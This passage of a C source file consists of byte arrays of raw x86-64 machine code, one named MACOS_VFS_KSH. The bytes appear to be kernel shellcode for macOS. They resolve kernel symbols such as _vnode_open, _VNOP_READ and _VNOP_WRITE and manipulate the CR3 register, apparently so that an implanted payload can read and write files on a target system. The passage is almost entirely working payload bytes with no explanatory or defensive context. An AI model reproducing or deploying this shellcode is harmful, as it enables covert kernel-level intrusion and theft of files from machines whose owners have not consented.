0xe8, 0x48, 0xff, 0xc0, 0x49, 0xff, 0xc1, 0x48, 0x3d, 0x04, 0x01, 0x00,
|
||||
0x00, 0x72, 0xe6, 0xc6, 0x84, 0x04, 0xa0, 0x00, 0x00, 0x00, 0x2f, 0x49,
|
||||
0x8b, 0xfc, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xb5, 0x30, 0x02, 0x00, 0x00,
|
||||
0x48, 0x85, 0xf6, 0x0f, 0x84, 0xec, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0xbc,
|
||||
0x24, 0xa0, 0x00, 0x00, 0x00, 0x4d, 0x8b, 0xf4, 0x4c, 0x03, 0xf8, 0x48,
|
||||
0x8b, 0x9d, 0x08, 0x02, 0x00, 0x00, 0x49, 0x8b, 0xcc, 0x48, 0x03, 0x5d,
|
||||
0x28, 0x49, 0x03, 0xde, 0x48, 0x8d, 0x53, 0x38, 0x66, 0x44, 0x3b, 0x22,
|
||||
0x74, 0x16, 0x8a, 0x02, 0x48, 0x83, 0xc2, 0x02, 0x41, 0x88, 0x04, 0x0f,
|
||||
0x48, 0xff, 0xc1, 0x48, 0x81, 0xf9, 0x04, 0x01, 0x00, 0x00, 0x72, 0xe4,
|
||||
0x45, 0x88, 0x24, 0x0f, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x49, 0x8b, 0x4d,
|
||||
0x38, 0x48, 0x8d, 0x94, 0x24, 0xa0, 0x00, 0x00, 0x00, 0xe8, 0x48, 0xfb,
|
||||
0xff, 0xff, 0x48, 0x85, 0xc0, 0x75, 0x4c, 0x48, 0x8b, 0x44, 0x24, 0x40,
|
||||
0x48, 0xba, 0x00, 0x91, 0x10, 0xb6, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89,
|
||||
0x43, 0x30, 0x48, 0x8b, 0x4c, 0x24, 0x48, 0x48, 0x03, 0xca, 0x48, 0x69,
|
||||
0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, 0x43, 0x08, 0x48, 0x8b, 0x4c,
|
||||
0x24, 0x68, 0x48, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00,
|
||||
0x48, 0x89, 0x43, 0x18, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0x48, 0x03, 0xca,
|
||||
0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, 0x43, 0x10, 0x48,
|
||||
0xb8, 0x15, 0xae, 0x47, 0xe1, 0x7a, 0x14, 0xae, 0x47, 0x48, 0xf7, 0xe7,
|
||||
0x48, 0x8b, 0xc7, 0x48, 0x2b, 0xc2, 0x48, 0xd1, 0xe8, 0x48, 0x03, 0xc2,
|
||||
0x48, 0xc1, 0xe8, 0x05, 0x48, 0x6b, 0xc8, 0x32, 0x48, 0x3b, 0xf9, 0x75,
|
||||
0x09, 0x49, 0x8b, 0x4d, 0x48, 0xe8, 0xc8, 0xfa, 0xff, 0xff, 0x48, 0xff,
|
||||
0xc7, 0x49, 0x81, 0xc6, 0x40, 0x02, 0x00, 0x00, 0x48, 0x3b, 0xfe, 0x0f,
|
||||
0x82, 0x22, 0xff, 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x02, 0x00,
|
||||
0x00, 0x49, 0x8b, 0x5b, 0x30, 0x49, 0x8b, 0x6b, 0x38, 0x49, 0x8b, 0x73,
|
||||
0x40, 0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c,
|
||||
0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c,
|
||||
0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x30,
|
||||
0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xe8, 0x48, 0x8b, 0xd9, 0x49, 0x8d, 0x50,
|
||||
0x18, 0x45, 0x33, 0xc9, 0x41, 0xb8, 0x00, 0x00, 0x04, 0x00, 0x48, 0x8b,
|
||||
0x4f, 0x20, 0xe8, 0x5f, 0xfa, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8,
|
||||
0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xf0, 0x76,
|
||||
0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x55, 0x4c, 0x8b, 0x83, 0x08,
|
||||
0x02, 0x00, 0x00, 0x48, 0x8d, 0x85, 0x28, 0x03, 0x00, 0x00, 0x4c, 0x03,
|
||||
0x43, 0x28, 0x48, 0x8b, 0xd6, 0x4c, 0x8b, 0x8b, 0x10, 0x02, 0x00, 0x00,
|
||||
0x48, 0x8b, 0x4f, 0x28, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x1c, 0xfa,
|
||||
0xff, 0xff, 0x48, 0x89, 0x83, 0x00, 0x02, 0x00, 0x00, 0x45, 0x33, 0xc0,
|
||||
0x48, 0x8b, 0x4f, 0x18, 0x48, 0x8b, 0xd6, 0xe8, 0x06, 0xfa, 0xff, 0xff,
|
||||
0x48, 0x8b, 0x83, 0x00, 0x02, 0x00, 0x00, 0x48, 0x39, 0x83, 0x10, 0x02,
|
||||
0x00, 0x00, 0x1b, 0xc0, 0x25, 0x05, 0x00, 0x00, 0xf0, 0x48, 0x8b, 0x5c,
|
||||
0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24, 0x48, 0x48, 0x8b, 0x74, 0x24, 0x50,
|
||||
0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24,
|
||||
0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x30, 0x49,
|
||||
0x8b, 0xd8, 0x48, 0x8b, 0xfa, 0x4d, 0x8b, 0x40, 0x10, 0x45, 0x33, 0xc9,
|
||||
0x49, 0xc1, 0xe0, 0x03, 0x41, 0x81, 0xe0, 0x00, 0x06, 0x00, 0x00, 0x48,
|
||||
0x8b, 0x4f, 0x20, 0x48, 0x8d, 0x53, 0x18, 0x49, 0x81, 0xc8, 0x01, 0x00,
|
||||
0x04, 0x00, 0xe8, 0x9f, 0xf9, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8,
|
||||
0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xf0, 0x76,
|
||||
0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x42, 0x4c, 0x8b, 0x8b, 0x30,
|
||||
0x03, 0x00, 0x00, 0x48, 0x8d, 0x83, 0x28, 0x03, 0x00, 0x00, 0x48, 0x8b,
|
||||
0x4f, 0x30, 0x4c, 0x8d, 0x83, 0x38, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xd6,
|
||||
0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x60, 0xf9, 0xff, 0xff, 0x48, 0x8b,
|
||||
0x4f, 0x18, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xd8, 0xe8,
|
||||
0x4e, 0xf9, 0xff, 0xff, 0x48, 0xf7, 0xdb, 0x1b, 0xc0, 0x25, 0x05, 0x00,
|
||||
0x00, 0xf0, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x74, 0x24, 0x48,
|
||||
0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83,
|
||||
0xec, 0x70, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xd9, 0xe8, 0xb9,
|
||||
0xf9, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0x01, 0x00, 0x00, 0xf0,
|
||||
0xe9, 0xcf, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x93, 0x08, 0x01, 0x00, 0x00,
|
||||
0x48, 0x03, 0x53, 0x28, 0x48, 0x81, 0xbb, 0x00, 0x01, 0x00, 0x00, 0x38,
|
||||
0x03, 0x00, 0x00, 0x0f, 0x82, 0xae, 0x00, 0x00, 0x00, 0x48, 0xb8, 0x0f,
|
||||
0x13, 0xaa, 0x93, 0xad, 0x20, 0xe7, 0x79, 0x48, 0x39, 0x02, 0x0f, 0x85,
|
||||
0x9b, 0x00, 0x00, 0x00, 0xf6, 0x42, 0x10, 0x10, 0x0f, 0x85, 0x91, 0x00,
|
||||
0x00, 0x00, 0x48, 0x8b, 0x42, 0x08, 0x48, 0x83, 0xf8, 0x01, 0x75, 0x14,
|
||||
0x4c, 0x8b, 0xc2, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x54, 0x24, 0x20, 0xe8,
|
||||
0xec, 0xfa, 0xff, 0xff, 0x8b, 0xc0, 0xeb, 0x78, 0x48, 0x83, 0xf8, 0x03,
|
||||
0x75, 0x12, 0x4c, 0x8b, 0xc2, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x54, 0x24,
|
||||
0x20, 0xe8, 0x12, 0xfe, 0xff, 0xff, 0xeb, 0xe4, 0x48, 0x83, 0xf8, 0x02,
|
||||
0x75, 0x12, 0x4c, 0x8b, 0xc2, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x54, 0x24,
|
||||
0x20, 0xe8, 0xb2, 0xfe, 0xff, 0xff, 0xeb, 0xcc, 0x48, 0x83, 0xf8, 0x04,
|
||||
0x75, 0x12, 0x4c, 0x8b, 0xc2, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x54, 0x24,
|
||||
0x20, 0xe8, 0x52, 0xfa, 0xff, 0xff, 0xeb, 0xb4, 0x48, 0x83, 0xf8, 0x05,
|
||||
0x75, 0x31, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0x48, 0x83, 0xc2, 0x18, 0xe8,
|
||||
0x5e, 0xf8, 0xff, 0xff, 0x48, 0xf7, 0xd8, 0xb8, 0x05, 0x00, 0x00, 0xf0,
|
||||
0x48, 0x1b, 0xc9, 0x48, 0x23, 0xc8, 0x48, 0x89, 0x8b, 0x20, 0x02, 0x00,
|
||||
0x00, 0xeb, 0x0c, 0xb8, 0x06, 0x00, 0x00, 0xf0, 0x48, 0x89, 0x83, 0x20,
|
||||
0x02, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x70, 0x5b, 0xc3, 0x00
|
||||
};
|
||||
|
||||
const BYTE MACOS_VFS_KSH[] = {
|
||||
0x37, 0x13, 0xec, 0x3c, 0x8c, 0x39, 0xe7, 0xd9, 0xaf, 0x57, 0xfa, 0x27,
|
||||
0x6e, 0x3f, 0xf6, 0xaa, 0xa6, 0xf4, 0x8b, 0x31, 0x8c, 0x78, 0x3c, 0x71,
|
||||
0x72, 0x40, 0x33, 0xa0, 0x9b, 0x91, 0xa1, 0x1c, 0x52, 0xb2, 0xd8, 0x5b,
|
||||
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1a, 0x0c, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0xb5, 0x1b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0,
|
||||
0x48, 0x83, 0xec, 0x20, 0xe8, 0xd7, 0x0a, 0x00, 0x00, 0x48, 0x8b, 0xe6,
|
||||
0x5e, 0xc3, 0x51, 0x48, 0x33, 0xc9, 0x48, 0xff, 0xc9, 0x48, 0xff, 0xc1,
|
||||
0x8a, 0x04, 0x39, 0x3a, 0x04, 0x31, 0x75, 0x09, 0x3c, 0x00, 0x75, 0xf1,
|
||||
0x48, 0x33, 0xc0, 0x59, 0xc3, 0xb0, 0x01, 0x59, 0xc3, 0xb8, 0xcf, 0xfa,
|
||||
0xed, 0xfe, 0x3b, 0x07, 0x75, 0x37, 0xb8, 0x07, 0x00, 0x00, 0x01, 0x3b,
|
||||
0x47, 0x04, 0x75, 0x2d, 0x48, 0x33, 0xc9, 0x48, 0xb8, 0x5f, 0x5f, 0x4c,
|
||||
0x49, 0x4e, 0x4b, 0x45, 0x44, 0x48, 0x3b, 0x04, 0x39, 0x74, 0x0f, 0x48,
|
||||
0x83, 0xc1, 0x04, 0x48, 0x81, 0xf9, 0x00, 0x20, 0x00, 0x00, 0x74, 0x0d,
|
||||
0xeb, 0xeb, 0x48, 0x8b, 0x44, 0x39, 0x10, 0x48, 0x03, 0x44, 0x39, 0x18,
|
||||
0xc3, 0x48, 0x33, 0xc0, 0xc3, 0x48, 0x8b, 0xcf, 0x48, 0x83, 0xc1, 0x20,
|
||||
0xb8, 0x02, 0x00, 0x00, 0x00, 0x39, 0x01, 0x74, 0x08, 0x8b, 0x41, 0x04,
|
||||
0x48, 0x03, 0xc8, 0xeb, 0xef, 0x48, 0x8b, 0xc1, 0xc3, 0x41, 0x52, 0x57,
|
||||
0x56, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xf2, 0xe8, 0xd5, 0xff, 0xff, 0xff,
|
||||
0x4c, 0x8b, 0xc0, 0xe8, 0x89, 0xff, 0xff, 0xff, 0x4c, 0x8b, 0xc8, 0x41,
|
||||
0x8b, 0x40, 0x14, 0x4c, 0x2b, 0xc8, 0x4d, 0x8b, 0xd1, 0x41, 0x8b, 0x48,
|
||||
0x0c, 0x49, 0x83, 0xe9, 0x10, 0x49, 0x8b, 0x41, 0x08, 0x48, 0xc1, 0xe8,
|
||||
0x20, 0x83, 0xf8, 0x80, 0x75, 0x11, 0x41, 0x8b, 0x39, 0x49, 0x03, 0xfa,
|
||||
0xe8, 0x3d, 0xff, 0xff, 0xff, 0x48, 0x83, 0xf8, 0x00, 0x74, 0x0a, 0xe2,
|
||||
0xdc, 0x48, 0x33, 0xc0, 0x5e, 0x5f, 0x41, 0x5a, 0xc3, 0x49, 0x8b, 0x41,
|
||||
0x08, 0x5e, 0x5f, 0x41, 0x5a, 0xc3, 0x0f, 0x20, 0xd8, 0x0f, 0x22, 0xd8,
|
||||
0xc3, 0x0f, 0x20, 0xd8, 0xc3, 0x48, 0x8b, 0xc1, 0x57, 0x56, 0x41, 0x56,
|
||||
0x41, 0x57, 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xf0, 0x49, 0x8b, 0xd1, 0x48,
|
||||
0x8b, 0x4c, 0x24, 0x48, 0x4c, 0x8b, 0x44, 0x24, 0x50, 0x4c, 0x8b, 0x4c,
|
||||
0x24, 0x58, 0x4c, 0x8b, 0xfc, 0x4c, 0x8b, 0xb4, 0x24, 0x88, 0x00, 0x00,
|
||||
0x00, 0x41, 0x56, 0x4c, 0x8b, 0xb4, 0x24, 0x88, 0x00, 0x00, 0x00, 0x41,
|
||||
0x56, 0x4c, 0x8b, 0xb4, 0x24, 0x88, 0x00, 0x00, 0x00, 0x41, 0x56, 0x4c,
|
||||
0x8b, 0xb4, 0x24, 0x88, 0x00, 0x00, 0x00, 0x41, 0x56, 0x4c, 0x8b, 0xb4,
|
||||
0x24, 0x88, 0x00, 0x00, 0x00, 0x41, 0x56, 0x4c, 0x8b, 0xb4, 0x24, 0x88,
|
||||
0x00, 0x00, 0x00, 0x41, 0x56, 0xff, 0xd0, 0x49, 0x8b, 0xe7, 0x41, 0x5f,
|
||||
0x41, 0x5e, 0x5e, 0x5f, 0xc3, 0x0f, 0x09, 0xc3, 0x48, 0x89, 0x5c, 0x24,
|
||||
0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x55,
|
||||
0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0x6c, 0x24, 0x90, 0x48, 0x81, 0xec,
|
||||
0x70, 0x01, 0x00, 0x00, 0x45, 0x33, 0xff, 0xc7, 0x45, 0xb0, 0x5f, 0x76,
|
||||
0x6e, 0x6f, 0x48, 0x8d, 0x45, 0xb0, 0xc7, 0x45, 0xb4, 0x64, 0x65, 0x5f,
|
||||
0x6c, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8b, 0xda, 0x48, 0x8d, 0x44, 0x24,
|
||||
0x30, 0xc7, 0x45, 0xb8, 0x6f, 0x6f, 0x6b, 0x75, 0x48, 0x89, 0x45, 0x08,
|
||||
0x4c, 0x8b, 0xf1, 0x48, 0x8d, 0x45, 0xc0, 0x66, 0xc7, 0x45, 0xbc, 0x70,
|
||||
0x00, 0x48, 0x89, 0x45, 0x10, 0x48, 0x8d, 0x44, 0x24, 0x60, 0x48, 0x89,
|
||||
0x45, 0x18, 0x48, 0x8d, 0x45, 0xa0, 0x48, 0x89, 0x45, 0x20, 0x48, 0x8d,
|
||||
0x44, 0x24, 0x40, 0x48, 0x89, 0x45, 0x28, 0x48, 0x8d, 0x44, 0x24, 0x70,
|
||||
0x48, 0x89, 0x45, 0x30, 0x48, 0x8d, 0x45, 0xe8, 0x48, 0x89, 0x45, 0x38,
|
||||
0x48, 0x8d, 0x45, 0x80, 0x48, 0x89, 0x45, 0x40, 0x48, 0x8d, 0x44, 0x24,
|
||||
0x50, 0x48, 0x89, 0x45, 0x48, 0x48, 0x8d, 0x45, 0xd0, 0x48, 0x89, 0x45,
|
||||
0x50, 0x48, 0x8d, 0x45, 0x90, 0x48, 0x89, 0x45, 0x58, 0x48, 0x8d, 0x44,
|
||||
0x24, 0x20, 0x48, 0x89, 0x45, 0x60, 0xc7, 0x44, 0x24, 0x30, 0x5f, 0x76,
|
||||
0x6e, 0x6f, 0xc7, 0x44, 0x24, 0x34, 0x64, 0x65, 0x5f, 0x70, 0x66, 0xc7,
|
||||
0x44, 0x24, 0x38, 0x75, 0x74, 0x44, 0x88, 0x7c, 0x24, 0x3a, 0xc7, 0x45,
|
||||
0xc0, 0x5f, 0x76, 0x6e, 0x6f, 0xc7, 0x45, 0xc4, 0x64, 0x65, 0x5f, 0x73,
|
||||
0xc7, 0x45, 0xc8, 0x65, 0x74, 0x73, 0x69, 0x66, 0xc7, 0x45, 0xcc, 0x7a,
|
||||
0x65, 0x44, 0x88, 0x7d, 0xce, 0xc7, 0x44, 0x24, 0x60, 0x5f, 0x76, 0x6e,
|
||||
0x6f, 0xc7, 0x44, 0x24, 0x64, 0x64, 0x65, 0x5f, 0x6f, 0xc7, 0x44, 0x24,
|
||||
0x68, 0x70, 0x65, 0x6e, 0x00, 0xc7, 0x45, 0xa0, 0x5f, 0x76, 0x6e, 0x6f,
|
||||
0xc7, 0x45, 0xa4, 0x64, 0x65, 0x5f, 0x63, 0xc7, 0x45, 0xa8, 0x6c, 0x6f,
|
||||
0x73, 0x65, 0x44, 0x88, 0x7d, 0xac, 0xc7, 0x44, 0x24, 0x40, 0x5f, 0x56,
|
||||
0x4e, 0x4f, 0xc7, 0x44, 0x24, 0x44, 0x50, 0x5f, 0x52, 0x45, 0x66, 0xc7,
|
||||
0x44, 0x24, 0x48, 0x41, 0x44, 0x44, 0x88, 0x7c, 0x24, 0x4a, 0xc7, 0x44,
|
||||
0x24, 0x70, 0x5f, 0x56, 0x4e, 0x4f, 0xc7, 0x44, 0x24, 0x74, 0x50, 0x5f,
|
||||
0x57, 0x52, 0xc7, 0x44, 0x24, 0x78, 0x49, 0x54, 0x45, 0x00, 0xc7, 0x45,
|
||||
0xe8, 0x5f, 0x56, 0x4e, 0x4f, 0xc7, 0x45, 0xec, 0x50, 0x5f, 0x47, 0x45,
|
||||
0xc7, 0x45, 0xf0, 0x54, 0x41, 0x54, 0x54, 0xc7, 0x45, 0xf4, 0x52, 0x4c,
|
||||
0x49, 0x53, 0xc7, 0x45, 0xf8, 0x54, 0x42, 0x55, 0x4c, 0x66, 0xc7, 0x45,
|
||||
0xfc, 0x4b, 0x00, 0xc7, 0x45, 0x80, 0x5f, 0x75, 0x69, 0x6f, 0xc7, 0x45,
|
||||
0x84, 0x5f, 0x61, 0x64, 0x64, 0xc7, 0x45, 0x88, 0x69, 0x6f, 0x76, 0x00,
|
||||
0xc7, 0x44, 0x24, 0x50, 0x5f, 0x75, 0x69, 0x6f, 0xc7, 0x44, 0x24, 0x54,
|
||||
0x5f, 0x72, 0x65, 0x73, 0x66, 0xc7, 0x44, 0x24, 0x58, 0x69, 0x64, 0x44,
|
||||
0x88, 0x7c, 0x24, 0x5a, 0xc7, 0x45, 0xd0, 0x5f, 0x76, 0x66, 0x73, 0xc7,
|
||||
0x45, 0xd4, 0x5f, 0x63, 0x6f, 0x6e, 0xc7, 0x45, 0xd8, 0x74, 0x65, 0x78,
|
||||
0x74, 0xc7, 0x45, 0xdc, 0x5f, 0x63, 0x75, 0x72, 0xc7, 0x45, 0xe0, 0x72,
|
||||
0x65, 0x6e, 0x74, 0x44, 0x88, 0x7d, 0xe4, 0xc7, 0x45, 0x90, 0x5f, 0x75,
|
||||
0x69, 0x6f, 0xc7, 0x45, 0x94, 0x5f, 0x63, 0x72, 0x65, 0xc7, 0x45, 0x98,
|
||||
0x61, 0x74, 0x65, 0x00, 0xc7, 0x44, 0x24, 0x20, 0x5f, 0x75, 0x69, 0x6f,
|
||||
0xc7, 0x44, 0x24, 0x24, 0x5f, 0x66, 0x72, 0x65, 0x66, 0xc7, 0x44, 0x24,
|
||||
0x28, 0x65, 0x00, 0x48, 0x8d, 0x75, 0x00, 0x41, 0x8b, 0xff, 0x48, 0x2b,
|
||||
0xf2, 0x48, 0x8b, 0x14, 0x1e, 0x49, 0x8b, 0x4e, 0x08, 0xe8, 0x13, 0xfd,
|
||||
0xff, 0xff, 0x48, 0x89, 0x03, 0x48, 0x85, 0xc0, 0x74, 0x12, 0x48, 0xff,
|
||||
0xc7, 0x48, 0x83, 0xc3, 0x08, 0x48, 0x83, 0xff, 0x0d, 0x72, 0xde, 0xb8,
|
||||
0x01, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x9c, 0x24, 0x70, 0x01, 0x00, 0x00,
|
||||
0x49, 0x8b, 0x5b, 0x20, 0x49, 0x8b, 0x73, 0x28, 0x49, 0x8b, 0x7b, 0x30,
|
||||
0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc,
|
||||
0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48,
|
||||
0x83, 0xec, 0x40, 0x48, 0x8b, 0x4a, 0x50, 0x49, 0x8b, 0xd8, 0x48, 0x83,
|
||||
0x64, 0x24, 0x58, 0x00, 0x48, 0x8b, 0xfa, 0xe8, 0x1d, 0xfd, 0xff, 0xff,
|
||||
0x48, 0x8b, 0x4f, 0x18, 0x48, 0x8d, 0x53, 0x18, 0x48, 0x89, 0x44, 0x24,
|
||||
0x30, 0x48, 0x8b, 0xf0, 0x48, 0x8d, 0x44, 0x24, 0x58, 0x41, 0xb9, 0xff,
|
||||
0x01, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x28, 0x41, 0xb8, 0x01, 0x06,
|
||||
0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0xe8, 0xec, 0xfc, 0xff,
|
||||
0xff, 0x33, 0xdb, 0xb9, 0x02, 0x00, 0x00, 0xf0, 0x48, 0x85, 0xc0, 0x0f,
|
||||
0x45, 0xd9, 0x48, 0x8b, 0x54, 0x24, 0x58, 0x48, 0x85, 0xd2, 0x74, 0x12,
|
||||
0x48, 0x8b, 0x4f, 0x20, 0x4c, 0x8b, 0xce, 0x41, 0xb8, 0x00, 0x00, 0x01,
|
||||
0x00, 0xe8, 0xc3, 0xfc, 0xff, 0xff, 0x48, 0x8b, 0x74, 0x24, 0x60, 0x8b,
|
||||
0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x40, 0x5f, 0xc3,
|
||||
0x48, 0x89, 0x5c, 0x24, 0x18, 0x48, 0x89, 0x54, 0x24, 0x10, 0x55, 0x56,
|
||||
0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0xac,
|
||||
0x24, 0x50, 0xfe, 0xff, 0xff, 0x48, 0x81, 0xec, 0xb0, 0x02, 0x00, 0x00,
|
||||
0x49, 0x8b, 0xf8, 0x4c, 0x8b, 0xf2, 0x45, 0x33, 0xc0, 0x4c, 0x8b, 0xf9,
|
||||
0x48, 0x81, 0xb9, 0x10, 0x02, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x41,
|
||||
0x8b, 0xd8, 0x89, 0x9d, 0x08, 0x02, 0x00, 0x00, 0x41, 0x8b, 0xf0, 0x4c,
|
||||
0x89, 0x44, 0x24, 0x50, 0x4c, 0x89, 0x44, 0x24, 0x58, 0x73, 0x0a, 0xbb,
|
||||
0x07, 0x00, 0x00, 0xf0, 0xe9, 0x8d, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x4a,
|
||||
0x50, 0xe8, 0x4b, 0xfc, 0xff, 0xff, 0x49, 0x8b, 0x0e, 0x48, 0x8d, 0x57,
|
||||
0x18, 0x4c, 0x8d, 0x4c, 0x24, 0x50, 0x48, 0x89, 0x45, 0x80, 0x45, 0x33,
|
||||
0xc0, 0x48, 0x89, 0x44, 0x24, 0x20, 0x4c, 0x8b, 0xe0, 0xe8, 0x2b, 0xfc,
|
||||
0xff, 0xff, 0x45, 0x33, 0xc0, 0x48, 0x85, 0xc0, 0x74, 0x0a, 0xbb, 0x02,
|
||||
0x00, 0x00, 0xf0, 0xe9, 0x3c, 0x03, 0x00, 0x00, 0x49, 0x8b, 0x8f, 0x48,
|
||||
0x03, 0x00, 0x00, 0x48, 0x8d, 0x55, 0xa0, 0x41, 0xb9, 0x10, 0x02, 0x00,
|
||||
0x00, 0xe8, 0x03, 0xfc, 0xff, 0xff, 0x49, 0x8b, 0x8f, 0x48, 0x03, 0x00,
|
||||
0x00, 0x48, 0x8d, 0x55, 0x88, 0x41, 0xb9, 0x18, 0x00, 0x00, 0x00, 0x45,
|
||||
0x33, 0xc0, 0xe8, 0xea, 0xfb, 0xff, 0xff, 0x49, 0x8b, 0x8f, 0x08, 0x02,
|
||||
0x00, 0x00, 0xb8, 0x05, 0x00, 0x00, 0x00, 0x49, 0x03, 0x4f, 0x28, 0x41,
|
||||
0xb9, 0x00, 0x00, 0x01, 0x00, 0x49, 0x8b, 0xbf, 0x10, 0x02, 0x00, 0x00,
|
||||
0x45, 0x33, 0xc0, 0x21, 0x9d, 0xf0, 0x01, 0x00, 0x00, 0x48, 0x81, 0xc7,
|
||||
0x00, 0x00, 0xff, 0xff, 0x48, 0x03, 0xf9, 0x66, 0x89, 0x45, 0x88, 0x49,
|
||||
0x8b, 0x8f, 0x48, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xd7, 0xc7, 0x45, 0x8c,
|
||||
0x09, 0x16, 0x00, 0x80, 0xc7, 0x45, 0x98, 0x02, 0x00, 0x00, 0x00, 0xc7,
|
||||
0x45, 0x94, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89, 0x7c, 0x24, 0x60, 0xe8,
|
||||
0x8d, 0xfb, 0xff, 0xff, 0x48, 0x21, 0x5c, 0x24, 0x20, 0x45, 0x33, 0xc0,
|
||||
0xe9, 0x4e, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x54, 0x24, 0x50, 0x48, 0x8d,
|
||||
0x85, 0xf0, 0x01, 0x00, 0x00, 0x49, 0x8b, 0x4e, 0x38, 0x4c, 0x8d, 0x4d,
|
||||
0xa0, 0x4c, 0x89, 0x64, 0x24, 0x48, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48,
|
||||
0x8d, 0x44, 0x24, 0x70, 0x48, 0x89, 0x44, 0x24, 0x38, 0x4c, 0x89, 0x44,
|
||||
0x24, 0x30, 0x4c, 0x89, 0x44, 0x24, 0x28, 0x4c, 0x8d, 0x45, 0x88, 0x4c,
|
||||
0x89, 0x6c, 0x24, 0x20, 0xe8, 0x40, 0xfb, 0xff, 0xff, 0x45, 0x33, 0xc0,
|
||||
0x48, 0x85, 0xc0, 0x0f, 0x85, 0x3e, 0x02, 0x00, 0x00, 0x8b, 0x85, 0xf0,
|
||||
0x01, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x83, 0x02, 0x00, 0x00, 0x8b,
|
||||
0xd0, 0x48, 0x03, 0xc6, 0x48, 0x8d, 0x0c, 0xc0, 0x49, 0x8b, 0x87, 0x10,
|
||||
0x02, 0x00, 0x00, 0x48, 0x2d, 0x00, 0x00, 0x01, 0x00, 0x48, 0xc1, 0xe1,
|
||||
0x06, 0x48, 0x3b, 0xc1, 0x0f, 0x82, 0x60, 0x02, 0x00, 0x00, 0x48, 0x85,
|
||||
0xd2, 0x0f, 0x84, 0x65, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x74, 0x24, 0x60,
|
||||
0x4c, 0x8d, 0x24, 0xf6, 0x49, 0xc1, 0xe4, 0x06, 0x41, 0x8b, 0xd8, 0xbe,
|
||||
0x03, 0x01, 0x00, 0x00, 0x49, 0xbd, 0x00, 0x91, 0x10, 0xb6, 0x02, 0x00,
|
||||
